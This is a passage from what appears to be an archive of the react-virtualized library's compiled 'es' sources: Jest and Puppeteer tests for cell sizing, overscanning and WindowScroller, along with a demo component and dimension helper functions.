  });
  describe('getTotalSize', function () {
    it('should calculate total size based purely on :estimatedCellSize if no measurements have been done', function () {
      var _getCellSizeAndPositi16 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi16.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1500);
    });
    it('should calculate total size based on a mixture of actual cell sizes and :estimatedCellSize if some cells have been measured', function () {
      var _getCellSizeAndPositi17 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi17.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(49);
      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1250);
    });
    it('should calculate total size based on the actual measured sizes if all cells have been measured', function () {
      var _getCellSizeAndPositi18 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi18.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(99);
      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1000);
    });
  });
  describe('getUpdatedOffsetForIndex', function () {
    function getUpdatedOffsetForIndexHelper(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          _ref3$cellCount = _ref3.cellCount,
          cellCount = _ref3$cellCount === void 0 ? 10 : _ref3$cellCount,
          _ref3$cellSize = _ref3.cellSize,
          cellSize = _ref3$cellSize === void 0 ? 10 : _ref3$cellSize,
          _ref3$containerSize = _ref3.containerSize,
          containerSize = _ref3$containerSize === void 0 ? 50 : _ref3$containerSize,
          _ref3$currentOffset = _ref3.currentOffset,
          currentOffset = _ref3$currentOffset === void 0 ? 0 : _ref3$currentOffset,
          _ref3$estimatedCellSi = _ref3.estimatedCellSize,
          estimatedCellSize = _ref3$estimatedCellSi === void 0 ? 15 : _ref3$estimatedCellSi,
          _ref3$targetIndex = _ref3.targetIndex,
          targetIndex = _ref3$targetIndex === void 0 ? 0 : _ref3$targetIndex;
      var cellSizeAndPositionManager = new CellSizeAndPositionManager({
        cellCount: cellCount,
        cellSizeGetter: function cellSizeGetter() {
          return cellSize;
        },
        estimatedCellSize: estimatedCellSize
      });
      return cellSizeAndPositionManager.getUpdatedOffsetForIndex({
        align: align,
        containerSize: containerSize,
        currentOffset: currentOffset,
        targetIndex: targetIndex
      });
    }

    it('should scroll to the beginning', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 100,
        targetIndex: 0
      })).toEqual(0);
    });
    it('should scroll to the end', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 0,
        targetIndex: 9
      })).toEqual(50);
    });
    it('should scroll forward to the middle', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 0,
        targetIndex: 6
      })).toEqual(20);
    });
    it('should scroll backward to the middle', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 50,
        targetIndex: 2
      })).toEqual(20);
    });
    it('should not scroll if an item is already visible', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 20,
        targetIndex: 3
      })).toEqual(20);
    });
    it('should honor specified :align values', function () {
      expect(getUpdatedOffsetForIndexHelper({
        align: 'auto',
        currentOffset: 0,
        targetIndex: 5
      })).toEqual(10);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'start',
        currentOffset: 0,
        targetIndex: 5
      })).toEqual(50);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'auto',
        currentOffset: 50,
        targetIndex: 4
      })).toEqual(40);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'end',
        currentOffset: 50,
        targetIndex: 5
      })).toEqual(10);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 50,
        targetIndex: 5
      })).toEqual(30);
    });
    it('should not scroll past the safe bounds even if the specified :align requests it', function () {
      expect(getUpdatedOffsetForIndexHelper({
        align: 'end',
        currentOffset: 50,
        targetIndex: 0
      })).toEqual(0);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 50,
        targetIndex: 1
      })).toEqual(0);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'start',
        currentOffset: 0,
        targetIndex: 9
      })).toEqual(50); // TRICKY: We would expect this to be positioned at 50.
      // But since the :estimatedCellSize is 15 and we only measure up to the 8th item,
      // The helper assumes it can scroll farther than it actually can.
      // Not sure if this edge case is worth "fixing" or just acknowledging...

      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 0,
        targetIndex: 8
      })).toEqual(55);
    });
    it('should always return an offset of 0 when :containerSize is 0', function () {
      expect(getUpdatedOffsetForIndexHelper({
        containerSize: 0,
        currentOffset: 50,
        targetIndex: 2
      })).toEqual(0);
    });
  });
  describe('getVisibleCellRange', function () {
    it('should not return any indices if :cellCount is 0', function () {
      var _getCellSizeAndPositi19 = getCellSizeAndPositionManager({
        cellCount: 0
      }),
          cellSizeAndPositionManager = _getCellSizeAndPositi19.cellSizeAndPositionManager;

      var _cellSizeAndPositionM = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 0
      }),
          start = _cellSizeAndPositionM.start,
          stop = _cellSizeAndPositionM.stop;

      expect(start).toEqual(undefined);
      expect(stop).toEqual(undefined);
    });
    it('should return a visible range of cells for the beginning of the list', function () {
      var _getCellSizeAndPositi20 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi20.cellSizeAndPositionManager;

      var _cellSizeAndPositionM2 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 0
      }),
          start = _cellSizeAndPositionM2.start,
          stop = _cellSizeAndPositionM2.stop;

      expect(start).toEqual(0);
      expect(stop).toEqual(4);
    });
    it('should return a visible range of cells for the middle of the list where some are partially visible', function () {
      var _getCellSizeAndPositi21 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi21.cellSizeAndPositionManager;

      var _cellSizeAndPositionM3 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 425
      }),
          start = _cellSizeAndPositionM3.start,
          stop = _cellSizeAndPositionM3.stop; // 42 and 47 are partially visible


      expect(start).toEqual(42);
      expect(stop).toEqual(47);
    });
    it('should return a visible range of cells for the end of the list', function () {
      var _getCellSizeAndPositi22 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi22.cellSizeAndPositionManager;

      var _cellSizeAndPositionM4 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 950
      }),
          start = _cellSizeAndPositionM4.start,
          stop = _cellSizeAndPositionM4.stop;

      expect(start).toEqual(95);
      expect(stop).toEqual(99);
    });
  });
  describe('resetCell', function () {
    it('should clear size and position metadata for the specified index and all cells after it', function () {
      var _getCellSizeAndPositi23 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi23.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeAndPositionManager.resetCell(3);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(2);
      cellSizeAndPositionManager.resetCell(0);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(-1);
    });
    it('should not clear size and position metadata for cells before the specified index', function () {
      var _getCellSizeAndPositi24 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi24.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi24.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.resetCell(3);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(4);
      expect(cellSizeGetterCalls).toEqual([3, 4]);
    });
    it('should not skip over any unmeasured or previously-cleared cells', function () {
      var _getCellSizeAndPositi25 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi25.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeAndPositionManager.resetCell(2);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(1);
      cellSizeAndPositionManager.resetCell(4);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(1);
      cellSizeAndPositionManager.resetCell(0);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(-1);
    });
  });
});es/Grid/index.js000064400000002171151677406010007515 0ustar00export { default } from './Grid';
export { default as Grid } from './Grid';
export { default as accessibilityOverscanIndicesGetter } from './accessibilityOverscanIndicesGetter';
export { default as defaultCellRangeRenderer } from './defaultCellRangeRenderer';
export { default as defaultOverscanIndicesGetter } from './defaultOverscanIndicesGetter';
import { bpfrpt_proptype_NoContentRenderer } from "./types";
export { bpfrpt_proptype_NoContentRenderer };
import { bpfrpt_proptype_Alignment } from "./types";
export { bpfrpt_proptype_Alignment };
import { bpfrpt_proptype_CellPosition } from "./types";
export { bpfrpt_proptype_CellPosition };
import { bpfrpt_proptype_CellSize } from "./types";
export { bpfrpt_proptype_CellSize };
import { bpfrpt_proptype_OverscanIndicesGetter } from "./types";
export { bpfrpt_proptype_OverscanIndicesGetter };
import { bpfrpt_proptype_RenderedSection } from "./types";
export { bpfrpt_proptype_RenderedSection };
import { bpfrpt_proptype_CellRendererParams } from "./types";
export { bpfrpt_proptype_CellRendererParams };
import { bpfrpt_proptype_Scroll } from "./types";
export { bpfrpt_proptype_Scroll };es/Grid/Grid.ssr.js000064400000003037151677406010010103 0ustar00/**
 * 
 * @jest-environment node
 */
import * as React from 'react';
import * as ReactDOMServer from 'react-dom/server';
import Grid from './Grid';
test('should render Grid with dom server', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(Grid, {
    cellRenderer: function cellRenderer(_ref) {
      var style = _ref.style,
          key = _ref.key,
          rowIndex = _ref.rowIndex,
          columnIndex = _ref.columnIndex;
      return React.createElement("div", {
        style: style,
        key: key
      }, rowIndex + ':' + columnIndex);
    },
    columnCount: 1000,
    columnWidth: 20,
    height: 500,
    rowCount: 1000,
    rowHeight: 20,
    width: 500
  }));
  expect(rendered).toContain('0:0');
  expect(rendered).toContain('24:24');
  expect(rendered).not.toContain('25:25');
});
test('should support :scrollToColumn and :scrollToRow in server render', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(Grid, {
    cellRenderer: function cellRenderer(_ref2) {
      var style = _ref2.style,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          columnIndex = _ref2.columnIndex;
      return React.createElement("div", {
        style: style,
        key: key
      }, rowIndex + ':' + columnIndex);
    },
    columnCount: 1000,
    columnWidth: 20,
    scrollToColumn: 250,
    height: 500,
    rowCount: 1000,
    rowHeight: 20,
    scrollToRow: 250,
    width: 500
  }));
  expect(rendered).toContain('250:250');
  expect(rendered).not.toContain('0:0');
});es/Grid/accessibilityOverscanIndicesGetter.jest.js000064400000004721151677406010016357 0ustar00import overscanIndicesGetter, { SCROLL_DIRECTION_BACKWARD, SCROLL_DIRECTION_FORWARD } from './accessibilityOverscanIndicesGetter';
describe('overscanIndicesGetter', function () {
  function testHelper(_ref) {
    var cellCount = _ref.cellCount,
        startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex,
        overscanCellsCount = _ref.overscanCellsCount,
        scrollDirection = _ref.scrollDirection;
    return overscanIndicesGetter({
      cellCount: cellCount,
      overscanCellsCount: overscanCellsCount,
      scrollDirection: scrollDirection,
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  it('should still overscan by 1 (for keyboard accessibility) if :overscanCellsCount is 0', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 21
    });
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 21
    });
  });
  it('should overscan forward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 19,
      overscanStopIndex: 40
    });
  });
  it('should overscan backward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 31
    });
  });
  it('should not overscan beyond the start of the list', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 5,
      stopIndex: 15,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 0,
      overscanStopIndex: 16
    });
  });
  it('should not overscan beyond the end of the list', function () {
    expect(testHelper({
      cellCount: 25,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 24
    });
  });
});es/Grid/defaultOverscanIndicesGetter.js000064400000002150151677406010014202 0ustar00export var SCROLL_DIRECTION_BACKWARD = -1;
export var SCROLL_DIRECTION_FORWARD = 1;
export var SCROLL_DIRECTION_HORIZONTAL = 'horizontal';
export var SCROLL_DIRECTION_VERTICAL = 'vertical';
/**
 * Calculates the number of cells to overscan before and after a specified range.
 * This function ensures that overscanning doesn't exceed the available cells.
 */

export default function defaultOverscanIndicesGetter(_ref) {
  var cellCount = _ref.cellCount,
      overscanCellsCount = _ref.overscanCellsCount,
      scrollDirection = _ref.scrollDirection,
      startIndex = _ref.startIndex,
      stopIndex = _ref.stopIndex;

  if (scrollDirection === SCROLL_DIRECTION_FORWARD) {
    return {
      overscanStartIndex: Math.max(0, startIndex),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
    };
  } else {
    return {
      overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex)
    };
  }
}
import { bpfrpt_proptype_OverscanIndicesGetterParams } from "./types";
import { bpfrpt_proptype_OverscanIndices } from "./types";es/jest-setup.js000064400000000163151677406010007623 0ustar00jest.mock('dom-helpers/scrollbarSize', function () {
  return function getScrollbarSize() {
    return 20;
  };
});es/WindowScroller/WindowScroller.e2e.js000064400000023044151677406010014127 0ustar00import _regeneratorRuntime from "@babel/runtime/regenerator";

/**
 * @jest-environment jest-environment-puppeteer
 */
var bootstrap = function bootstrap() {
  var page, scripts, _i, _scripts, path;

  return _regeneratorRuntime.async(function bootstrap$(_context) {
    while (1) {
      switch (_context.prev = _context.next) {
        case 0:
          _context.next = 2;
          return _regeneratorRuntime.awrap(global.browser.newPage());

        case 2:
          page = _context.sent;
          scripts = ['./node_modules/react/umd/react.development.js', './node_modules/react-dom/umd/react-dom.development.js', './dist/umd/react-virtualized.js'];
          _i = 0, _scripts = scripts;

        case 5:
          if (!(_i < _scripts.length)) {
            _context.next = 12;
            break;
          }

          path = _scripts[_i];
          _context.next = 9;
          return _regeneratorRuntime.awrap(page.addScriptTag({
            path: path
          }));

        case 9:
          _i++;
          _context.next = 5;
          break;

        case 12:
          return _context.abrupt("return", page);

        case 13:
        case "end":
          return _context.stop();
      }
    }
  });
};

var renderWindowScroller = function renderWindowScroller(_ref) {
  var scrollElement = _ref.scrollElement;
  var render = window.ReactDOM.render;
  var createElement = window.React.createElement;
  var WindowScroller = window.ReactVirtualized.WindowScroller;
  var container = document.createElement('div');
  container.id = 'container';
  container.style.margin = '100px';
  container.style.padding = '50px';
  document.body.appendChild(container);
  document.body.style.margin = 0;

  if (scrollElement === 'container') {
    container.style.width = '100%';
    container.style.height = '100%';
    container.style.overflow = 'auto';
  }

  render(createElement(WindowScroller, {
    scrollElement: scrollElement === 'container' ? container : window,
    onScroll: window.scrollFn,
    onResize: window.resizeFn
  }, function () {
    return createElement('div', {
      style: {
        width: 2000,
        height: 3000
      }
    });
  }), container);
};

var delay = function delay(time) {
  return new Promise(function (resolve) {
    return setTimeout(resolve, time);
  });
};

test('save position after resize and then scroll in window', function _callee() {
  var page, scrollFn, resizeFn;
  return _regeneratorRuntime.async(function _callee$(_context2) {
    while (1) {
      switch (_context2.prev = _context2.next) {
        case 0:
          _context2.next = 2;
          return _regeneratorRuntime.awrap(bootstrap());

        case 2:
          page = _context2.sent;
          scrollFn = jest.fn();
          resizeFn = jest.fn();
          _context2.next = 7;
          return _regeneratorRuntime.awrap(page.exposeFunction('scrollFn', scrollFn));

        case 7:
          _context2.next = 9;
          return _regeneratorRuntime.awrap(page.exposeFunction('resizeFn', resizeFn));

        case 9:
          _context2.next = 11;
          return _regeneratorRuntime.awrap(page.setViewport({
            width: 400,
            height: 600
          }));

        case 11:
          _context2.next = 13;
          return _regeneratorRuntime.awrap(page.evaluate(renderWindowScroller, {
            scrollElement: 'window'
          }));

        case 13:
          _context2.next = 15;
          return _regeneratorRuntime.awrap(page.evaluate(function () {
            return window.scrollTo(610, 830);
          }));

        case 15:
          _context2.next = 17;
          return _regeneratorRuntime.awrap(delay(100));

        case 17:
          _context2.next = 19;
          return _regeneratorRuntime.awrap(page.setViewport({
            width: 300,
            height: 500
          }));

        case 19:
          _context2.next = 21;
          return _regeneratorRuntime.awrap(delay(100));

        case 21:
          _context2.next = 23;
          return _regeneratorRuntime.awrap(page.evaluate(function () {
            return window.scrollTo(620, 840);
          }));

        case 23:
          _context2.next = 25;
          return _regeneratorRuntime.awrap(delay(100));

        case 25:
          _context2.next = 27;
          return _regeneratorRuntime.awrap(page.close());

        case 27:
          expect(scrollFn.mock.calls).toEqual([[{
            scrollLeft: 610 - 150,
            scrollTop: 830 - 150
          }], [{
            scrollLeft: 620 - 150,
            scrollTop: 840 - 150
          }]]);
          expect(resizeFn.mock.calls).toEqual([[{
            width: 300,
            height: 500
          }]]);

        case 29:
        case "end":
          return _context2.stop();
      }
    }
  });
});
test('save position after resize and then scroll in container', function _callee2() {
  var page, scrollFn, resizeFn;
  return _regeneratorRuntime.async(function _callee2$(_context3) {
    while (1) {
      switch (_context3.prev = _context3.next) {
        case 0:
          _context3.next = 2;
          return _regeneratorRuntime.awrap(bootstrap());

        case 2:
          page = _context3.sent;
          scrollFn = jest.fn();
          resizeFn = jest.fn();
          _context3.next = 7;
          return _regeneratorRuntime.awrap(page.exposeFunction('scrollFn', scrollFn));

        case 7:
          _context3.next = 9;
          return _regeneratorRuntime.awrap(page.exposeFunction('resizeFn', resizeFn));

        case 9:
          _context3.next = 11;
          return _regeneratorRuntime.awrap(page.setViewport({
            width: 400,
            height: 600
          }));

        case 11:
          _context3.next = 13;
          return _regeneratorRuntime.awrap(page.evaluate(renderWindowScroller, {
            scrollElement: 'container'
          }));

        case 13:
          _context3.next = 15;
          return _regeneratorRuntime.awrap(page.$eval('#container', function (el) {
            return el.scrollTo(610, 830);
          }));

        case 15:
          _context3.next = 17;
          return _regeneratorRuntime.awrap(delay(100));

        case 17:
          _context3.next = 19;
          return _regeneratorRuntime.awrap(page.setViewport({
            width: 300,
            height: 500
          }));

        case 19:
          _context3.next = 21;
          return _regeneratorRuntime.awrap(delay(100));

        case 21:
          _context3.next = 23;
          return _regeneratorRuntime.awrap(page.$eval('#container', function (el) {
            return el.scrollTo(620, 840);
          }));

        case 23:
          _context3.next = 25;
          return _regeneratorRuntime.awrap(delay(100));

        case 25:
          _context3.next = 27;
          return _regeneratorRuntime.awrap(page.close());

        case 27:
          expect(scrollFn.mock.calls).toEqual([[{
            scrollLeft: 610 - 50,
            scrollTop: 830 - 50
          }], [{
            scrollLeft: 620 - 50,
            scrollTop: 840 - 50
          }]]);
          expect(resizeFn.mock.calls).toEqual([[{
            width: 500,
            height: 700
          }], [{
            width: 400,
            height: 600
          }]]);

        case 29:
        case "end":
          return _context3.stop();
      }
    }
  });
});
test('react on container resize without window changing', function _callee3() {
  var page, resizeFn;
  return _regeneratorRuntime.async(function _callee3$(_context4) {
    while (1) {
      switch (_context4.prev = _context4.next) {
        case 0:
          _context4.next = 2;
          return _regeneratorRuntime.awrap(bootstrap());

        case 2:
          page = _context4.sent;
          resizeFn = jest.fn();
          _context4.next = 6;
          return _regeneratorRuntime.awrap(page.exposeFunction('resizeFn', resizeFn));

        case 6:
          _context4.next = 8;
          return _regeneratorRuntime.awrap(page.evaluate(function () {
            var render = window.ReactDOM.render;
            var createElement = window.React.createElement;
            var WindowScroller = window.ReactVirtualized.WindowScroller;
            var wrapper = document.createElement('div');
            wrapper.id = 'wrapper';
            Object.assign(wrapper.style, {
              width: '1000px',
              height: '800px',
              display: 'flex'
            });
            var container = document.createElement('div');
            Object.assign(container.style, {
              flex: '1'
            });
            wrapper.appendChild(container);
            document.body.style.margin = 0;
            document.body.appendChild(wrapper);
            render(createElement(WindowScroller, {
              scrollElement: container,
              onResize: window.resizeFn
            }, function () {
              return null;
            }), container);
          }));

        case 8:
          _context4.next = 10;
          return _regeneratorRuntime.awrap(delay(100));

        case 10:
          _context4.next = 12;
          return _regeneratorRuntime.awrap(page.$eval('#wrapper', function (el) {
            el.style.width = '500px';
            el.style.height = '700px';
          }));

        case 12:
          _context4.next = 14;
          return _regeneratorRuntime.awrap(delay(100));

        case 14:
          _context4.next = 16;
          return _regeneratorRuntime.awrap(page.close());

        case 16:
          expect(resizeFn.mock.calls).toEqual([[{
            width: 1000,
            height: 800
          }], [{
            width: 500,
            height: 700
          }]]);

        case 17:
        case "end":
          return _context4.stop();
      }
    }
  });
});es/WindowScroller/WindowScroller.example.js000064400000015763151677406010015120 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

import clsx from 'clsx';
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import WindowScroller from './WindowScroller';
import List from '../List';
import AutoSizer from '../AutoSizer';
import styles from './WindowScroller.example.css';
var WindowScrollerExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(WindowScrollerExample, _React$PureComponent);

  function WindowScrollerExample() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, WindowScrollerExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(WindowScrollerExample)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      scrollToIndex: -1,
      showHeaderText: true
    });

    _defineProperty(_assertThisInitialized(_this), "_windowScroller", void 0);

    _defineProperty(_assertThisInitialized(_this), "_hideHeader", function () {
      var showHeaderText = _this.state.showHeaderText;

      _this.setState({
        showHeaderText: !showHeaderText
      }, function () {
        if (_this._windowScroller) {
          _this._windowScroller.updatePosition();
        }
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_rowRenderer", function (_ref) {
      var _clsx;

      var index = _ref.index,
          isScrolling = _ref.isScrolling,
          isVisible = _ref.isVisible,
          key = _ref.key,
          style = _ref.style;
      var list = _this.context.list;
      var row = list.get(index);
      var className = clsx(styles.row, (_clsx = {}, _defineProperty(_clsx, styles.rowScrolling, isScrolling), _defineProperty(_clsx, "isVisible", isVisible), _clsx));
      return React.createElement("div", {
        key: key,
        className: className,
        style: style
      }, row.name);
    });

    _defineProperty(_assertThisInitialized(_this), "_setRef", function (windowScroller) {
      _this._windowScroller = windowScroller;
    });

    _defineProperty(_assertThisInitialized(_this), "_onCheckboxChange", function (event) {
      _this.context.setScrollingCustomElement(event.target.checked);
    });

    _defineProperty(_assertThisInitialized(_this), "_onScrollToRowChange", function (event) {
      var list = _this.context.list;
      var scrollToIndex = Math.min(list.size - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      setTimeout(function () {
        _this.setState({
          scrollToIndex: scrollToIndex
        });
      }, 0);
    });

    return _this;
  }

  _createClass(WindowScrollerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$context = this.context,
          customElement = _this$context.customElement,
          isScrollingCustomElement = _this$context.isScrollingCustomElement,
          list = _this$context.list;
      var _this$state = this.state,
          scrollToIndex = _this$state.scrollToIndex,
          showHeaderText = _this$state.showHeaderText;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "WindowScroller",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/WindowScroller/WindowScroller.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/WindowScroller.md"
      }), showHeaderText && React.createElement(ContentBoxParagraph, null, "This component decorates ", React.createElement("code", null, "List"), ", ", React.createElement("code", null, "Table"), ", or any other component and manages the window scroll to scroll through the list"), showHeaderText && React.createElement(ContentBoxParagraph, null, React.createElement("button", {
        onClick: this._hideHeader
      }, "Hide header text")), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use custom element for scrolling",
        className: styles.checkbox,
        type: "checkbox",
        checked: isScrollingCustomElement,
        onChange: this._onCheckboxChange
      }), "Use custom element for scrolling")), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      })), React.createElement(WindowScroller, {
        ref: this._setRef,
        scrollElement: isScrollingCustomElement ? customElement : window
      }, function (_ref2) {
        var height = _ref2.height,
            isScrolling = _ref2.isScrolling,
            registerChild = _ref2.registerChild,
            onChildScroll = _ref2.onChildScroll,
            scrollTop = _ref2.scrollTop;
        return React.createElement("div", {
          className: styles.WindowScrollerWrapper
        }, React.createElement(AutoSizer, {
          disableHeight: true
        }, function (_ref3) {
          var width = _ref3.width;
          return React.createElement("div", {
            ref: registerChild
          }, React.createElement(List, {
            ref: function ref(el) {
              window.listEl = el;
            },
            autoHeight: true,
            className: styles.List,
            height: height,
            isScrolling: isScrolling,
            onScroll: onChildScroll,
            overscanRowCount: 2,
            rowCount: list.size,
            rowHeight: 30,
            rowRenderer: _this2._rowRenderer,
            scrollToIndex: scrollToIndex,
            scrollTop: scrollTop,
            width: width
          }));
        }));
      }));
    }
  }]);

  return WindowScrollerExample;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);

_defineProperty(WindowScrollerExample, "contextTypes", {
  customElement: PropTypes.any,
  isScrollingCustomElement: PropTypes.bool.isRequired,
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  setScrollingCustomElement: PropTypes.func
});

export { WindowScrollerExample as default };es/WindowScroller/index.js.flow000064400000000240151677406010012546 0ustar00// @flow

import WindowScroller, {IS_SCROLLING_TIMEOUT} from './WindowScroller';

export default WindowScroller;
export {WindowScroller, IS_SCROLLING_TIMEOUT};
es/WindowScroller/utils/dimensions.js000064400000005006151677406010014006 0ustar00/**
 * Gets the dimensions of the element, accounting for API differences between
 * `window` and other DOM elements.
 */
// TODO Move this into WindowScroller and import from there
var isWindow = function isWindow(element) {
  return element === window;
};

var getBoundingBox = function getBoundingBox(element) {
  return element.getBoundingClientRect();
};

export function getDimensions(scrollElement, props) {
  if (!scrollElement) {
    return {
      height: props.serverHeight,
      width: props.serverWidth
    };
  } else if (isWindow(scrollElement)) {
    var _window = window,
        innerHeight = _window.innerHeight,
        innerWidth = _window.innerWidth;
    return {
      height: typeof innerHeight === 'number' ? innerHeight : 0,
      width: typeof innerWidth === 'number' ? innerWidth : 0
    };
  } else {
    return getBoundingBox(scrollElement);
  }
}
/**
 * Gets the vertical and horizontal position of an element within its scroll container.
 * Elements that have been “scrolled past” return negative values.
 * Handles edge-case where a user is navigating back (history) from an already-scrolled page.
 * In this case the body’s top or left position will be a negative number and this element’s top or left will be increased (by that amount).
 */

export function getPositionOffset(element, container) {
  if (isWindow(container) && document.documentElement) {
    var containerElement = document.documentElement;
    var elementRect = getBoundingBox(element);
    var containerRect = getBoundingBox(containerElement);
    return {
      top: elementRect.top - containerRect.top,
      left: elementRect.left - containerRect.left
    };
  } else {
    var scrollOffset = getScrollOffset(container);

    var _elementRect = getBoundingBox(element);

    var _containerRect = getBoundingBox(container);

    return {
      top: _elementRect.top + scrollOffset.top - _containerRect.top,
      left: _elementRect.left + scrollOffset.left - _containerRect.left
    };
  }
}
/**
 * Gets the vertical and horizontal scroll amount of the element, accounting for IE compatibility
 * and API differences between `window` and other DOM elements.
 */

export function getScrollOffset(element) {
  if (isWindow(element) && document.documentElement) {
    return {
      top: 'scrollY' in window ? window.scrollY : document.documentElement.scrollTop,
      left: 'scrollX' in window ? window.scrollX : document.documentElement.scrollLeft
    };
  } else {
    return {
      top: element.scrollTop,
      left: element.scrollLeft
    };
  }
}es/WindowScroller/utils/dimensions.js.flow000064400000005255151677406010014762 0ustar00// @flow

/**
 * Gets the dimensions of the element, accounting for API differences between
 * `window` and other DOM elements.
 */

type Dimensions = {
  height: number,
  width: number,
};

// TODO Move this into WindowScroller and import from there
